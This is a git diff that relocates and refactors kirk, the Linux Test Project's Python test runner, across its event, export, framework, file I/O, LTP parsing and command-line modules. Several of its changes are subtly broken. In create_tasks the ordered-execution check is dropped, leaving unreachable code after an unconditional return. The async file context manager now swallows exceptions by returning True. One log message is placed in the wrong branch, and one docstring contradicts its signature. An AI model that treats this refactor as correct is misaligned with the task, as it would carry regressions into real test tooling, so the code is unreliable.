""" - for item in self._coros: - if item == coro: - self._coros.remove(coro) - break + try: + self._coros.remove(coro) + except ValueError: + pass def has_coros(self) -> bool: """ Check if there are still available registrations. + + :return: True if there are registered coroutines. + :rtype: bool """ - return len(self._coros) > 0 + return bool(self._coros) def register(self, coro: Callable) -> None: """ Register a new Callable. + + :param coro: Coroutine to register. + :type coro: Callable """ self._coros.append(coro) def create_tasks(self, *args: List[Any], **kwargs: Dict[Any, Any]) -> List[Any]: """ Create tasks to run according to registered coroutines. + :param args: Arguments to be passed to callback functions execution. :type args: list :param kwargs: Keyword arguments to be passed to callback functions execution. :type kwargs: dict + :return: List of tasks to execute. + :rtype: list(asyncio.Task) """ - tasks = [coro(*args, **kwargs) for coro in self._coros] - if self._ordered: - return tasks + return [coro(*args, **kwargs) for coro in self._coros] + tasks = [coro(*args, **kwargs) for coro in self._coros] return [asyncio.gather(*tasks)] @@ -82,7 +97,7 @@ class EventsHandler: def _get_event(self, name: str) -> Optional[Event]: """ - Return an event according to its `name`. + Return an event according to its name. """ return self._events.get(name, None) @@ -95,29 +110,29 @@ class EventsHandler: def is_registered(self, event_name: str) -> bool: """ - Returns True if ``event_name`` is registered. - :param event_name: name of the event + Returns True if event_name is registered. + + :param event_name: Name of the event. :type event_name: str - :returns: True if registered, False otherwise + :return: True if registered, False otherwise. + :rtype: bool """ if not event_name: raise ValueError("event_name is empty") evt = self._get_event(event_name) - if not evt: - return False - - return evt.has_coros() + return evt.has_coros() if evt else False def register(self, event_name: str, coro: Callable, ordered: bool = False) -> None: """ - Register an event with ``event_name``. - :param event_name: name of the event + Register an event with event_name. + + :param event_name: Name of the event. :type event_name: str - :param coro: Callable associated with ``event_name`` + :param coro: Callable associated with event_name. :type coro: Callable - :param ordered: if True, the event will raise coroutines in the order - they arrive + :param ordered: If True, the event will raise coroutines in the order + they arrive. :type ordered: bool """ if not event_name: @@ -128,28 +143,22 @@ class EventsHandler: self._logger.info("Register event: %s", repr(event_name)) - evt = self._get_event(event_name) - if not evt: - evt = Event(ordered=ordered) - self._events[event_name] = evt - + evt = self._events.setdefault(event_name, Event(ordered=ordered)) evt.register(coro) - def unregister(self, event_name: str, coro: Optional[Callable] = None) -> None: + def unregister(self, event_name: str, coro: Callable) -> None: """ - Unregister a single event Callable with event_name`. If `coro` is None, + Unregister a single event Callable with event_name. If coro is None, all coroutines registered will be removed. - :param event_name: name of the event + + :param event_name: Name of the event. :type event_name: str - :param coro: Callable to unregister + :param coro: Callable to unregister. :type coro: Callable """ if not event_name: raise ValueError("event_name is empty") - if not coro: - raise ValueError("coro is empty") - if not self.is_registered(event_name): raise ValueError(f"{event_name} is not registered") @@ -163,7 +172,8 @@ class EventsHandler: async def fire(self, event_name: str, *args: Any, **kwargs: Any) -> None: """ Fire a specific event. - :param event_name: name of the event + + :param event_name: Name of the event. :type event_name: str :param args: Arguments to be passed to callback functions execution. :type args: Any diff --git a/ltp/tools/kirk/libkirk/export.py b/ltp/tools/kirk/kirk-src/libkirk/export.py similarity index 94% rename from ltp/tools/kirk/libkirk/export.py rename to ltp/tools/kirk/kirk-src/libkirk/export.py index 5d53ce3c..2b1f8d3c 100644 --- a/ltp/tools/kirk/libkirk/export.py +++ b/ltp/tools/kirk/kirk-src/libkirk/export.py @@ -13,7 +13,10 @@ from typing import List from libkirk.errors import ExporterError from libkirk.io import AsyncFile -from libkirk.results import ResultStatus, SuiteResults +from libkirk.results import ( + ResultStatus, + SuiteResults, +) class Exporter: @@ -25,9 +28,10 @@ class Exporter: """ Save report into a file by taking information from SUT and testing results. - :param results: list of suite results to export. + + :param results: List of suite results to export. :type results: list(SuiteResults) - :param path: path of the file to save. + :param path: Path of the file to save. :type path: str """ raise NotImplementedError() @@ -103,6 +107,7 @@ class JSONExporter(Exporter): "distribution": results[0].distro, "distribution_version": results[0].distro_ver, "kernel": results[0].kernel, + "cmdline": results[0].cmdline, "arch": results[0].arch, "cpu": results[0].cpu, "swap": results[0].swap, diff --git a/ltp/tools/kirk/libkirk/framework.py b/ltp/tools/kirk/kirk-src/libkirk/framework.py similarity index 44% rename from ltp/tools/kirk/libkirk/framework.py rename to ltp/tools/kirk/kirk-src/libkirk/framework.py index cf5ea4ac..2b923f30 100644 --- a/ltp/tools/kirk/libkirk/framework.py +++ b/ltp/tools/kirk/kirk-src/libkirk/framework.py @@ -8,48 +8,56 @@ from typing import List -from libkirk.data import Suite, Test -from libkirk.plugin import Plugin +from libkirk.com import ComChannel +from libkirk.data import ( + Suite, + Test, +) from libkirk.results import TestResults -from libkirk.sut import SUT -class Framework(Plugin): +class Framework: """ Framework definition. Implement this class if you need to support more testing frameworks inside the application. """ - async def get_suites(self, sut: SUT) -> List[str]: + async def get_suites(self, channel: ComChannel) -> List[str]: """ - Return the list of available suites inside SUT. - :param sut: SUT object to communicate with - :type sut: SUT - :returns: list + Return the list of available suites. + + :param channel: Communication channel. + :type channel: ComChannel + :return: List of suites names. + :rtype: list(str) """ raise NotImplementedError() - async def find_command(self, sut: SUT, command: str) -> Test: + async def find_command(self, channel: ComChannel, command: str) -> Test: """ Search for command inside Framework folder and, if it's not found, - search for command in the operating system. Then return a Test object - which can be used to execute command. - :param sut: SUT object to communicate with - :type sut: SUT - :param command: command to execute + search for command in the SUT. Then return a Test object which can be + used to execute command. + + :param channel: Communication channel. + :type channel: ComChannel + :param command: Command to execute. :type command: str - :returns: Test + :return: Test object that has been found. + :rtype: Test """ raise NotImplementedError() - async def find_suite(self, sut: SUT, name: str) -> Suite: + async def find_suite(self, channel: ComChannel, name: str) -> Suite: """ - Search for suite with given name inside SUT. - :param sut: SUT object to communicate with - :type sut: SUT - :param suite: name of the suite + Search for suite with given name inside the SUT. + + :param channel: Communication channel. + :type channel: ComChannel + :param suite: Name of the suite. :type suite: str - :returns: Suite + :return: Suite object that has been found. + :rtype: Suite """ raise NotImplementedError() @@ -58,14 +66,16 @@ class Framework(Plugin): ) -> TestResults: """ Return test results accoding with runner output and Test definition. - :param test: Test definition object + + :param test: Test definition object. :type test: Test - :param stdout: test stdout + :param stdout: Test stdout. :type stdout: str - :param retcode: test return code + :param retcode: Test return code. :type retcode: int - :param exec_t: test execution time in seconds + :param exec_t: Test execution time in seconds. :type exec_t: float - :returns: TestResults + :return: Test results. + :rtype: TestResults """ raise NotImplementedError() diff --git a/ltp/tools/kirk/libkirk/io.py b/ltp/tools/kirk/kirk-src/libkirk/io.py similarity index 58% rename from ltp/tools/kirk/libkirk/io.py rename to ltp/tools/kirk/kirk-src/libkirk/io.py index 92bd9dcd..0fd72cc6 100644 --- a/ltp/tools/kirk/libkirk/io.py +++ b/ltp/tools/kirk/kirk-src/libkirk/io.py @@ -6,47 +6,66 @@ .. moduleauthor:: Andrea Cervesato """ -from typing import Optional, Union +from types import TracebackType +from typing import ( + IO, + Any, + AsyncContextManager, + Optional, + Type, + Union, +) import libkirk -class AsyncFile: +class AsyncFile(AsyncContextManager): """ Handle files in asynchronous way by running operations inside a separate thread. """ - def __init__(self, filename: str, mode="r") -> None: + def __init__(self, filename: str, mode: str = "r") -> None: """ - :param filename: file to open + :param filename: Location of the file to open. :type filename: str - :param mode: mode to open the file + :param mode: Mode used to open the file. :type mode: str """ self._filename = filename self._mode = mode self._file = None - async def __aenter__(self): + # Optimize: cache mode checks to avoid repeated string operations + self._is_read_mode = "r" in mode + self._is_binary_mode = "b" in mode + + async def __aenter__(self) -> Any: await self.open() return self - async def __aexit__(self, exc_type, exc_val, exc_tb): + async def __aexit__( + self, + exc_type: Optional[Type[BaseException]], + exc_value: Optional[BaseException], + traceback: Optional[TracebackType], + ) -> bool: await self.close() + return True - def __aiter__(self): + def __aiter__(self) -> Any: return self - async def __anext__(self): - if "r" not in self._mode: + async def __anext__(self) -> Optional[Union[str, bytes]]: + if not self._is_read_mode: raise ValueError("File must be open in read mode") - line = None - if self._file: - line = await libkirk.to_thread(self._file.readline) - if not line: - raise StopAsyncIteration + if not self._file: + return None + + line = await libkirk.to_thread(self._file.readline) + if not line: + raise StopAsyncIteration() return line @@ -57,10 +76,9 @@ class AsyncFile: if self._file: return - def _open(): - if "b" in self._mode: + def _open() -> IO[Any]: + if self._is_binary_mode: return open(self._filename, self._mode) - return open(self._filename, self._mode, encoding="utf-8") self._file = await libkirk.to_thread(_open) @@ -78,7 +96,8 @@ class AsyncFile: async def seek(self, pos: int) -> None: """ Asynchronous version of `seek()`. - :param pos: position to search + + :param pos: Position to search. :type pos: int """ if not self._file: @@ -89,7 +108,9 @@ class AsyncFile: async def tell(self) -> Optional[int]: """ Asynchronous version of `tell()`. - :returns: current file position or None if file is not open. + + :return: Current file position or None if file is not open. + :rtype: int | None """ if not self._file: return None @@ -99,7 +120,12 @@ class AsyncFile: async def read(self, size: int = -1) -> Optional[Union[str, bytes]]: """ Asynchronous version of `read()`. - :returns: data that has been read or None if file is not open. + + :param size: Amount of data to read. Default is -1, that means all data + available. + :type size: int + :returns: Data that has been read or None if file is not open. + :rtype: str | bytes | None """ if not self._file: return None @@ -109,7 +135,9 @@ class AsyncFile: async def readline(self) -> Optional[Union[str, bytes]]: """ Asynchronous version of `readline()`. - :returns: data that has been read or None if file is not open. + + :returns: Data that has been read or None if file is not open. + :rtype: str | bytes | None """ if not self._file: return None @@ -119,8 +147,9 @@ class AsyncFile: async def write(self, data: Union[str, bytes]) -> None: """ Asynchronous version of `write()`. - :param data: data to write inside file - :type data: str + + :param data: Data to write inside file. + :type data: str | bytes """ if not self._file: return diff --git a/ltp/tools/kirk/libkirk/ltp.py b/ltp/tools/kirk/kirk-src/libkirk/ltp.py similarity index 40% rename from ltp/tools/kirk/libkirk/ltp.py rename to ltp/tools/kirk/kirk-src/libkirk/ltp.py index 4483c075..472de20e 100644 --- a/ltp/tools/kirk/libkirk/ltp.py +++ b/ltp/tools/kirk/kirk-src/libkirk/ltp.py @@ -10,14 +10,44 @@ import json import logging import os import re -from typing import Any, Dict, List, Optional - -import libkirk.types -from libkirk.data import Suite, Test +from typing import ( + Any, + Dict, + List, + Optional, +) + +from libkirk.com import ComChannel +from libkirk.data import ( + Suite, + Test, +) from libkirk.errors import FrameworkError from libkirk.framework import Framework -from libkirk.results import ResultStatus, TestResults -from libkirk.sut import SUT +from libkirk.results import ( + ResultStatus, + TestResults, +) + +# Mapping from LTP return code to ResultStatus +_RETCODE_STATUS: Dict[int, int] = { + 0: ResultStatus.PASS, + 2: ResultStatus.BROK, + -1: ResultStatus.BROK, + 4: ResultStatus.WARN, + 32: ResultStatus.CONF, +} + +_ANSI_ESCAPE = re.compile(r"\u001b\[[0-9;]+[a-zA-Z]") + +_SUMMARY_RE = re.compile( + r"Summary:\n" + r"passed\s*(?P\d+)\n" + r"failed\s*(?P\d+)\n" + r"broken\s*(?P\d+)\n" + r"skipped\s*(?P\d+)\n" + r"warnings\s*(?P\d+)\n", +) class LTPFramework(Framework): @@ -25,78 +55,132 @@ class LTPFramework(Framework): Linux Test Project framework definition. """ - PARALLEL_BLACKLIST = [ - "needs_root", - "needs_device", - "mount_device", - "mntpoint", - "resource_file", - "format_device", - "save_restore", - "max_runtime", - ] - - def __init__(self) -> None: - self._logger = logging.getLogger("libkirk.ltp") - self._root = "" - self._env = {} - self._max_runtime = 0.0 - self._tc_folder = "" - self._cmd_matcher = re.compile(r'(?:"[^"]*"|\'[^\']*\'|\S+)') - - @property - def config_help(self) -> Dict[str, str]: - return { - "root": "LTP install folder", - "max_runtime": "filter out all tests above this time value", + # Tags whose presence marks a test as non-parallelizable. + PARALLEL_BLACKLIST: frozenset = frozenset( + { + "needs_root", + "needs_device", + "mount_device", + "mntpoint", + "resource_file", + "format_device", + "save_restore", + "max_runtime", } + ) + + # Environment variables without the `LTP_` or `TST_` prefix that are still forwarded. + SUPPORTED_ENV: frozenset = frozenset( + { + "PATH", + "KCONFIG_PATH", + "KCONFIG_SKIP_CHECK", + # LTP network test variables + "RHOST", + "IPV4_LHOST", + "IPV4_RHOST", + "IPV6_LHOST", + "IPV6_RHOST", + "LHOST_IFACES", + "RHOST_IFACES", + # Stress test parameters + "NS_DURATION", + "NS_TIMES", + "CONNECTION_TOTAL", + "IP_TOTAL", + "IP_TOTAL_FOR_TCPIP", + "ROUTE_TOTAL", + "ROUTE_CHANGE_IP", + "ROUTE_CHANGE_NETLINK", + "MTU_CHANGE_TIMES", + "IF_UPDOWN_TIMES", + "PING_MAX", + # ICMP / multicast + "NS_ICMPV4_SENDER_DATA_MAXSIZE", + "NS_ICMPV6_SENDER_DATA_MAXSIZE", + "MCASTNUM_NORMAL", + "MCASTNUM_HEAVY", + # File transfer / services + "DOWNLOAD_BIGFILESIZE", + "DOWNLOAD_REGFILESIZE", + "UPLOAD_BIGFILESIZE", + "UPLOAD_REGFILESIZE", + "HTTP_DOWNLOAD_DIR", + "FTP_DOWNLOAD_DIR", + "FTP_UPLOAD_DIR", + "FTP_UPLOAD_URLDIR", + # IPsec / virtual interfaces + "IPSEC_MODE", + "IPSEC_PROTO", + "VIRT_PERF_THRESHOLD", + } + ) + + # Variables set explicitly in _update_env_vars; skip them in the loop. + _PRESET_ENV: frozenset = frozenset( + { + "LTPROOT", + "TMPDIR", + "LTP_COLORIZE_OUTPUT", + "LTP_TIMEOUT_MUL", + } + ) - def setup(self, **kwargs: Dict[str, Any]) -> None: + def __init__( + self, + max_runtime: float = 0.0, + timeout: float = 30.0, + ) -> None: + """ + :param max_runtime: filter out all tests above this time value + :type max_runtime: float + :param timeout: generic tests timeout + :type timeout: float + """ + self._logger = logging.getLogger("libkirk.ltp") + self._cmd_matcher = re.compile(r'(?:"[^"]*"|\'[^\']*\'|\S+)') + self._max_runtime = max_runtime self._root = os.environ.get("LTPROOT", "/opt/ltp") - self._env = { - "LTPROOT": self._root, - "TMPDIR": "/tmp", - "LTP_COLORIZE_OUTPUT": "1", - } + self._tc_folder = os.path.join(self._root, "testcases", "bin") + self._env: Dict[str, str] = {} - env = libkirk.types.dict_item(kwargs, "env", dict) - if env: - self._env.update(env) + self._update_env_vars(timeout) - timeout = libkirk.types.dict_item(kwargs, "test_timeout", float) - if timeout: + def _update_env_vars(self, timeout: float) -> None: + """ + Populate self._env with LTP-relevant environment variables. + """ + self._env["LTPROOT"] = self._root + self._env["TMPDIR"] = os.environ.get("TMPDIR", "/tmp") + self._env["LTP_COLORIZE_OUTPUT"] = os.environ.get("LTP_COLORIZE_OUTPUT", "1") + + multiplier = os.environ.get("LTP_TIMEOUT_MUL") + if multiplier: + self._env["LTP_TIMEOUT_MUL"] = multiplier + elif timeout: self._env["LTP_TIMEOUT_MUL"] = str((timeout * 0.9) / 300.0) - root = libkirk.types.dict_item(kwargs, "root", str) - if root: - self._root = root - self._env["LTPROOT"] = self._root - - self._tc_folder = os.path.join(self._root, "testcases", "bin") - - runtime = libkirk.types.dict_item(kwargs, "max_runtime", float) - if runtime: - try: - runtime = float(runtime) - except TypeError as err: - raise FrameworkError("max_runtime must be an integer") from err + for key, val in os.environ.items(): + if key in self._PRESET_ENV: + continue - self._max_runtime = runtime + if key in self.SUPPORTED_ENV or key.startswith("LTP_") or key.startswith("TST_"): + self._env[key] = val - async def _read_path(self, sut: SUT) -> Dict[str, str]: + async def _read_path(self, channel: ComChannel) -> Dict[str, str]: """ - Read PATH and initialize it with testcases folder as well. + Return a copy of self._env with the testcases folder appended to PATH. """ env = self._env.copy() if "PATH" in env: - env["PATH"] = env["PATH"] + f":{self._tc_folder}" + env["PATH"] = f"{env['PATH']}:{self._tc_folder}" else: - ret = await sut.run_command("echo -n $PATH") + ret = await channel.run_command("echo -n $PATH") + if not ret or ret["returncode"] != 0: raise FrameworkError("Can't read PATH variable") - tcases = os.path.join(self._root, "testcases", "bin") - env["PATH"] = ret["stdout"].strip() + f":{tcases}" + env["PATH"] = f"{ret['stdout'].strip()}:{self._tc_folder}" self._logger.debug("PATH=%s", env["PATH"]) @@ -104,107 +188,89 @@ class LTPFramework(Framework): def _is_addable(self, test_params: Dict[str, Any]) -> bool: """ - Check if test has to be added or not, according with test parameters - from metadata. + Return False when max_runtime filtering is active and the test exceeds + the configured limit. """ - addable = True - - # filter out max_runtime tests when required - if self._max_runtime > 0: - runtime = test_params.get("max_runtime") - if runtime: - try: - runtime = float(runtime) - if runtime >= self._max_runtime: - self._logger.info( - "max_runtime is bigger than %f", self._max_runtime - ) - addable = False - except TypeError: - self._logger.error( - "metadata contains wrong max_runtime type: %s", runtime - ) - - return addable + if not self._max_runtime: + return True + + runtime = test_params.get("max_runtime") + if runtime is None: + return True + + try: + if float(runtime) >= self._max_runtime: + self._logger.info("max_runtime is bigger than %f", self._max_runtime) + + return False + except TypeError: + self._logger.error("metadata contains wrong max_runtime type: %s", runtime) + + return True def _get_cmd_args(self, line: str) -> List[str]: """ - Return a command with arguments inside a list(str). - The command can have the following syntax: - 1. cmd - 2. cmd -t myarg1 .. - 3. cmd myfolder=$TMPDIR/folder -t myarg1 .. - 4. cmd -c "cmd2 -g arg1 -t arg2" .. - """ - matches = self._cmd_matcher.findall(line) - parts = [match for match in matches if match] + Split a runtest line into a list of command + arguments. - return parts + Handles quoted arguments, e.g.:: + + cmd -c "cmd2 -g arg1 -t arg2" + """ + return self._cmd_matcher.findall(line) async def _read_runtest( - self, sut: SUT, suite_name: str, content: str, metadata: Optional[dict] = None + self, + channel: ComChannel, + suite_name: str, + content: str, + metadata: Optional[dict] = None, ) -> Suite: """ - It reads a runtest file content and it returns a Suite object. + Parse a runtest file and return the corresponding Suite. """ self._logger.info("collecting testing suite: %s", suite_name) - metadata_tests = None + metadata_tests: Optional[dict] = None if metadata: self._logger.info("Reading metadata content") - metadata_tests = metadata.get("tests", None) - - env = await self._read_path(sut) + metadata_tests = metadata.get("tests") - tests = [] - lines = content.split("\n") + env = await self._read_path(channel) + tests: List[Test] = [] - for line in lines: - if not line.strip() or line.strip().startswith("#"): + for line in content.split("\n"): + line = line.strip() + if not line or line.startswith("#"): continue self._logger.debug("Test declaration: %s", line) parts = self._get_cmd_args(line) - if len(parts) < 2: raise FrameworkError("runtest file is not defining test command") - test_name = parts[0] - test_cmd = parts[1] - test_args = [] - - if len(parts) >= 3: - test_args = parts[2:] + test_name, test_cmd, *test_args = parts + parallelizable = False - parallelizable = True - - if not metadata_tests: - # no metadata no party - parallelizable = False - else: - test_params = metadata_tests.get(test_name, None) - if test_params: + if metadata_tests is not None: + test_params = metadata_tests.get(test_name) + if test_params is None: + # Test not using the new LTP API – parallelism unknown. + self._logger.info("Found %s test params in metadata", test_name) + else: self._logger.info("Found %s test params in metadata", test_name) self._logger.debug("params=%s", test_params) - if test_params is None: - # this probably means test is not using new LTP API, - # so we can't decide if test can run in parallel or not - parallelizable = False - else: if not self._is_addable(test_params): continue - for blacklist_param in self.PARALLEL_BLACKLIST: - if blacklist_param in test_params: - parallelizable = False - break + parallelizable = not (self.PARALLEL_BLACKLIST & test_params.keys()) - if not parallelizable: - self._logger.info("Test '%s' is not parallelizable", test_name) - else: - self._logger.info("Test '%s' is parallelizable", test_name) + self._logger.info( + "Test '%s' is%s parallelizable", + test_name, + "" if parallelizable else " not", + ) test = Test( name=test_name, @@ -214,7 +280,6 @@ class LTPFramework(Framework): env=env, parallelizable=parallelizable, ) - tests.append(test) self._logger.debug("test: %s", test) @@ -222,128 +287,94 @@ class LTPFramework(Framework): self._logger.debug("Collected tests: %d", len(tests)) suite = Suite(suite_name, tests) - self._logger.debug(suite) self._logger.info("Collected testing suite: %s", suite_name) return suite - @property - def name(self) -> str: - return "ltp" - - async def get_suites(self, sut: SUT) -> List[str]: - if not sut: + async def get_suites(self, channel: ComChannel) -> List[str]: + if not channel: raise ValueError("SUT is None") - ret = await sut.run_command(f"test -d {self._root}") + ret = await channel.run_command(f"test -d {self._root}") if not ret or ret["returncode"] != 0: raise FrameworkError(f"LTP folder doesn't exist: {self._root}") runtest_dir = os.path.join(self._root, "runtest") - ret = await sut.run_command(f"test -d {runtest_dir}") + ret = await channel.run_command(f"test -d {runtest_dir}") if not ret or ret["returncode"] != 0: raise FrameworkError(f"'{runtest_dir}' doesn't exist inside SUT") - ret = await sut.run_command(f"ls --format=single-column {runtest_dir}") + ret = await channel.run_command(f"ls --format=single-column {runtest_dir}") if not ret: raise FrameworkError("Can't communicate with SUT") stdout = ret["stdout"] - if not ret or ret["returncode"] != 0: + if ret["returncode"] != 0: raise FrameworkError(f"command failed with: {stdout}") - suites = [line for line in stdout.split("\n") if line] - return suites + return [line for line in stdout.split("\n") if line] - async def find_command(self, sut: SUT, command: str) -> Test: - if not sut: + async def find_command(self, channel: ComChannel, command: str) -> Test: + if not channel: raise ValueError("SUT is None") - if not command: raise ValueError("command is empty") cmd_args = self._get_cmd_args(command) - args = cmd_args[1:] if cmd_args else None cwd = None env = None - ret = await sut.run_command(f"test -d {self._tc_folder}") + ret = await channel.run_command(f"test -d {self._tc_folder}") if ret and ret["returncode"] == 0: cwd = self._tc_folder - env = await self._read_path(sut) + env = await self._read_path(channel) - test = Test( + return Test( name=cmd_args[0], cmd=cmd_args[0], - args=args, + args=cmd_args[1:] or None, cwd=cwd, env=env, parallelizable=False, ) - return test - - async def find_suite(self, sut: SUT, name: str) -> Suite: - if not sut: + async def find_suite(self, channel: ComChannel, name: str) -> Suite: + if not channel: raise ValueError("SUT is None") - if not name: raise ValueError("name is empty") - ret = await sut.run_command(f"test -d {self._root}") + ret = await channel.run_command(f"test -d {self._root}") if not ret or ret["returncode"] != 0: raise FrameworkError(f"LTP folder doesn't exist: {self._root}") suite_path = os.path.join(self._root, "runtest", name) - - ret = await sut.run_command(f"test -f {suite_path}") + ret = await channel.run_command(f"test -f {suite_path}") if not ret or ret["returncode"] != 0: raise FrameworkError(f"'{name}' suite doesn't exist") - runtest_data = await sut.fetch_file(suite_path) - runtest_str = runtest_data.decode(encoding="utf-8", errors="ignore") + runtest_str = (await channel.fetch_file(suite_path)).decode( + encoding="utf-8", errors="ignore" + ) - metadata_path = os.path.join(self._root, "metadata", "ltp.json") metadata_dict = None - ret = await sut.run_command(f"test -f {metadata_path}") + metadata_path = os.path.join(self._root, "metadata", "ltp.json") + ret = await channel.run_command(f"test -f {metadata_path}") if ret and ret["returncode"] == 0: - metadata_data = await sut.fetch_file(metadata_path) - metadata_dict = json.loads(metadata_data) + metadata_dict = json.loads(await channel.fetch_file(metadata_path)) - suite = await self._read_runtest(sut, name, runtest_str, metadata_dict) - - return suite + return await self._read_runtest(channel, name, runtest_str, metadata_dict) async def read_result( self, test: Test, stdout: str, retcode: int, exec_t: float ) -> TestResults: - # get rid of colors from stdout - stdout = re.sub(r"\u001b\[[0-9;]+[a-zA-Z]", "", stdout) - - match = re.search( - r"Summary:\n" - r"passed\s*(?P\d+)\n" - r"failed\s*(?P\d+)\n" - r"broken\s*(?P\d+)\n" - r"skipped\s*(?P\d+)\n" - r"warnings\s*(?P\d+)\n", - stdout, - ) - - passed = 0 - failed = 0 - skipped = 0 - broken = 0 - skipped = 0 - warnings = 0 - error = retcode == -1 - status = ResultStatus.PASS + stdout = _ANSI_ESCAPE.sub("", stdout) + match = _SUMMARY_RE.search(stdout) if match: passed = int(match.group("passed")) failed = int(match.group("failed")) - skipped = int(match.group("skipped")) broken = int(match.group("broken")) skipped = int(match.group("skipped")) warnings = int(match.group("warnings")) @@ -354,40 +385,23 @@ class LTPFramework(Framework): broken = stdout.count("TBROK") warnings = stdout.count("TWARN") - if ( - passed == 0 - and failed == 0 - and skipped == 0 - and broken == 0 - and warnings == 0 - ): - # if no results are given, this is probably an - # old test implementation that fails when return - # code is != 0 + if not any((passed, failed, skipped, broken, warnings)): + # Legacy test: derive counts from the return code alone. if retcode == 0: passed = 1 elif retcode == 4: warnings = 1 elif retcode == 32: skipped = 1 - elif not error: + elif retcode != -1: failed = 1 - if retcode == 0: - status = ResultStatus.PASS - elif retcode in (2, -1): - status = ResultStatus.BROK - elif retcode == 4: - status = ResultStatus.WARN - elif retcode == 32: - status = ResultStatus.CONF - else: - status = ResultStatus.FAIL + status = _RETCODE_STATUS.get(retcode, ResultStatus.FAIL) - if error: + if retcode == -1: broken = 1 - result = TestResults( + return TestResults( test=test, failed=failed, passed=passed, @@ -399,5 +413,3 @@ class LTPFramework(Framework): stdout=stdout, status=status, ) - - return result diff --git a/ltp/tools/kirk/libkirk/main.py b/ltp/tools/kirk/kirk-src/libkirk/main.py similarity index 67% rename from ltp/tools/kirk/libkirk/main.py rename to ltp/tools/kirk/kirk-src/libkirk/main.py index 90ad0d60..b416b1a7 100644 --- a/ltp/tools/kirk/libkirk/main.py +++ b/ltp/tools/kirk/kirk-src/libkirk/main.py @@ -10,27 +10,37 @@ import argparse import asyncio import os import re -from typing import Dict, List, Optional +from typing import ( + Dict, + List, + Optional, + Union, +) import libkirk +import libkirk.com import libkirk.data import libkirk.plugin import libkirk.sut from libkirk import __version__ -from libkirk.errors import FrameworkError, KirkException, SUTError -from libkirk.framework import Framework +from libkirk.com import ComChannel +from libkirk.errors import ( + CommunicationError, + KirkException, + SUTError, +) from libkirk.monitor import JSONFileMonitor -from libkirk.plugin import Plugin from libkirk.session import Session from libkirk.sut import SUT from libkirk.tempfile import TempDir -from libkirk.ui import ParallelUserInterface, SimpleUserInterface, VerboseUserInterface +from libkirk.ui import ( + ParallelUserInterface, + SimpleUserInterface, + VerboseUserInterface, +) -# runtime loaded SUT(s) -LOADED_SUT = [] - -# runtime loaded Framework(s) -LOADED_FRAMEWORK = [] +# Maximum number of COM instances +MAX_COM_INSTANCES = 128 # return codes of the application RC_OK = 0 @@ -57,7 +67,7 @@ def _from_params_to_config(params: List[str]) -> Dict[str, str]: if not key: raise argparse.ArgumentTypeError(f"Empty key for '{param}' parameter") - if not key: + if not value: raise argparse.ArgumentTypeError(f"Empty value for '{param}' parameter") config[key] = value @@ -65,68 +75,72 @@ def _from_params_to_config(params: List[str]) -> Dict[str, str]: return config -def _dict_config(opt_name: str, plugins: List[Plugin], value: str) -> Dict[str, str]: +def _dict_config( + value: str, +) -> Dict[str, str]: """ Generic dictionary option configuration. """ if value == "help": - msg = f"--{opt_name} option supports the following syntax:\n" - msg += "\n\t:=:=:..\n" - msg += "\nSupported plugins: | " - - for plugin in plugins: - msg += f"{plugin.name} | " - - msg += "\n" - - for plugin in plugins: - if not plugin.config_help: - msg += f"\n{plugin.name} has not configuration\n" - else: - msg += f"\n{plugin.name} configuration:\n" - for opt, desc in plugin.config_help.items(): - msg += f"\t{opt}: {desc}\n" - - return {"help": msg} + return {"help": ""} if not value: raise argparse.ArgumentTypeError("Parameters list can't be empty") params = value.split(":") - name = params[0] config = _from_params_to_config(params[1:]) - config["name"] = name + config["name"] = params[0] return config -def _sut_config(value: str) -> Dict[str, str]: +def _com_config(value: str) -> Optional[Dict[str, str]]: """ - Return a SUT configuration according with input string. + Return the list of channels configurations. """ - return _dict_config("sut", LOADED_SUT, value) + plugins = libkirk.com.get_channels() + config = _dict_config(value) + if "help" in config: + return config -def _framework_config(value: str) -> Dict[str, str]: - """ - Return a Framework configuration according with input string. - """ - return _dict_config("framework", LOADED_FRAMEWORK, value) + name = config["name"] + + plugin_names = {p.name for p in plugins} + if name not in plugin_names: + raise argparse.ArgumentTypeError( + f"Can't find communication handler with name '{name}'" + ) + + return config -def _env_config(value: str) -> Optional[Dict[str, str]]: +def _print_plugin_help( + opt_name: str, + plugins: Union[List[ComChannel], List[SUT]], +) -> None: """ - Return an environment configuration dictionary, parsing strings such as - "key=value:key=value:key=value". + Print the ``plugins`` help for ``opt_name`` option. """ - if not value: - return None + msg = f"{opt_name} option supports the following syntax:\n" + msg += "\n\t:=:=:..\n" + msg += "\nSupported plugins: | " - params = value.split(":") - config = _from_params_to_config(params) + for plugin in plugins: + msg += f"{plugin.name} | " - return config + msg += "\n" + + for plugin in plugins: + if not plugin.config_help: + msg += f"\n{plugin.name} has not configuration\n" + else: + msg += f"\n{plugin.name} configuration:\n" + for opt, desc in plugin.config_help.items(): + msg += f"\t{opt}: {desc}\n" + + print(msg) def _iterate_config(value: str) -> int: @@ -136,16 +150,12 @@ def _iterate_config(value: str) -> int: if not value: return 1 - ret = 1 try: ret = int(value) except TypeError as err: raise argparse.ArgumentTypeError("Invalid number") from err - if ret <= 1: - return 1 - - return ret + return max(1, ret) def _time_config(data: str) -> int: @@ -162,17 +172,16 @@ def _time_config(data: str) -> int: value = int(match.group("value")) suffix = match.group("suffix") - if not suffix or suffix == "s": - return value + # Optimize: use dict lookup instead of if/elif chain + multipliers = { + "": 1, + "s": 1, + "m": 60, + "h": 3600, + "d": 86400, # 3600 * 24 + } - if suffix == "m": - value *= 60 - elif suffix == "h": - value *= 3600 - elif suffix == "d": - value *= 3600 * 24 - - return value + return value * multipliers.get(suffix, 1) def _finjection_config(value: str) -> int: @@ -182,71 +191,64 @@ def _finjection_config(value: str) -> int: if not value: return 0 - ret = 0 try: ret = int(value) except TypeError as err: raise argparse.ArgumentTypeError("Invalid number") from err - if ret < 0: - return 0 - - if ret > 100: - return 100 - - return ret - - -def _discover_sut(path: str) -> None: - """ - Discover new SUT implementations. - """ - objs = libkirk.plugin.discover(SUT, path) - LOADED_SUT.extend(objs) - - -def _discover_frameworks(path: str) -> None: - """ - Discover new Framework implementations. - """ - objs = libkirk.plugin.discover(Framework, path) - LOADED_FRAMEWORK.extend(objs) - - -def _get_plugin(plugins: List[Plugin], name: str) -> Optional[Plugin]: - """ - Return the Plugin object with given name. - """ - obj = None - for obj_comp in plugins: - if obj_comp.name == name: - obj = obj_comp - break - - return obj + return max(0, min(100, ret)) def _get_skip_tests(skip_tests: str, skip_file: str) -> str: """ Return the skipped tests regexp. """ - skip = "" + skip_parts = [] if skip_file: - lines = None with open(skip_file, "r", encoding="utf-8") as skip_file_data: lines = 